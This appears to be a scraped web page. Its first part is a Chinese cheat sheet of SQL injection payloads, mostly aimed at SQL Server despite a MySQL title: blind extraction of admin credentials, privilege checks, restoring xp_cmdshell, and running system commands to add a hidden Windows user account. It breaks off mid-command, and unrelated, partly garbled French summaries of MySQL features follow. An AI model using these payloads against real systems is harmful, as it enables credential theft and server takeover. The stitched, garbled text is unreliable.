常用SQL注射语句解析_MySQL
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SQL注射语句
1.判断有无注入点
' ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0(select count(*) from *)
and 0(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0
and 0
and 1
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称。
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0(select user_name()--
看xp_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND
name = 'xp_cmdshell')--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc
'xp_cmdshell','c:/inetpub/wwwroot/xplog70.dll'--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec
sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user
jiaoniang$ 1866574 /add'--
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -
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Le rôle principal de MySQL dans les applications Web est de stocker et de gérer les données. 1.MySQL traite efficacement les informations utilisateur, les catalogues de produits, les enregistrements de transaction et autres données. 2. Grâce à SQL Query, les développeurs peuvent extraire des informations de la base de données pour générer du contenu dynamique. 3.MySQL fonctionne basé sur le modèle client-serveur pour assurer une vitesse de requête acceptable.

INNODB utilise des redologues et des undologs pour assurer la cohérence et la fiabilité des données. 1. REDOLOGIE RÉCLABLIER MODIFICATION DE PAGE DES DONNÉES Pour assurer la récupération des accidents et la persistance des transactions. 2.Undologs Enregistre la valeur des données d'origine et prend en charge le Rollback de la transaction et MVCC.

Par rapport à d'autres langages de programmation, MySQL est principalement utilisé pour stocker et gérer les données, tandis que d'autres langages tels que Python, Java et C sont utilisés pour le traitement logique et le développement d'applications. MySQL est connu pour ses performances élevées, son évolutivité et son support multiplateforme, adapté aux besoins de gestion des données, tandis que d'autres langues présentent des avantages dans leurs domaines respectifs tels que l'analyse des données, les applications d'entreprise et la programmation système.

La cardinalité de l'index MySQL a un impact significatif sur les performances de la requête: 1. L'indice de cardinalité élevé peut réduire plus efficacement la plage de données et améliorer l'efficacité de la requête; 2. L'indice de cardinalité faible peut entraîner une analyse complète de la table et réduire les performances de la requête; 3. Dans l'indice conjoint, des séquences de cardinalité élevées doivent être placées devant pour optimiser la requête.

Les opérations de base de MySQL incluent la création de bases de données, les tables et l'utilisation de SQL pour effectuer des opérations CRUD sur les données. 1. Créez une base de données: CreatedAtAbaseMy_First_DB; 2. Créez un tableau: CreateTableBooks (idIntauto_inCmentPrimaryKey, TitleVarchar (100) notnull, AuthorVarchar (100) notnull, publied_yearint); 3. Données d'insertion: INSERTINTOBOOKS (titre, auteur, publié_year) VA

MySQL convient aux applications Web et aux systèmes de gestion de contenu et est populaire pour son open source, ses performances élevées et sa facilité d'utilisation. 1) Par rapport à PostgreSQL, MySQL fonctionne mieux dans les requêtes simples et les opérations de lecture simultanées élevées. 2) Par rapport à Oracle, MySQL est plus populaire parmi les petites et moyennes entreprises en raison de son open source et de son faible coût. 3) Par rapport à Microsoft SQL Server, MySQL est plus adapté aux applications multiplateformes. 4) Contrairement à MongoDB, MySQL est plus adapté aux données structurées et au traitement des transactions.

InnodBBufferPool réduit les E / S de disque en mettant en cache des données et des pages d'indexation, améliorant les performances de la base de données. Son principe de travail comprend: 1. La lecture des données: lire les données de BufferPool; 2. Écriture de données: Après avoir modifié les données, écrivez dans BufferPool et actualisez-les régulièrement sur le disque; 3. Gestion du cache: utilisez l'algorithme LRU pour gérer les pages de cache; 4. Mécanisme de lecture: Chargez à l'avance des pages de données adjacentes. En dimensionner le tampon et en utilisant plusieurs instances, les performances de la base de données peuvent être optimisées.

MySQL gère efficacement les données structurées par la structure de la table et la requête SQL, et met en œuvre des relations inter-tableaux à travers des clés étrangères. 1. Définissez le format de données et tapez lors de la création d'une table. 2. Utilisez des clés étrangères pour établir des relations entre les tables. 3. Améliorer les performances par l'indexation et l'optimisation des requêtes. 4. Bases de données régulièrement sauvegarde et surveillent régulièrement la sécurité des données et l'optimisation des performances.
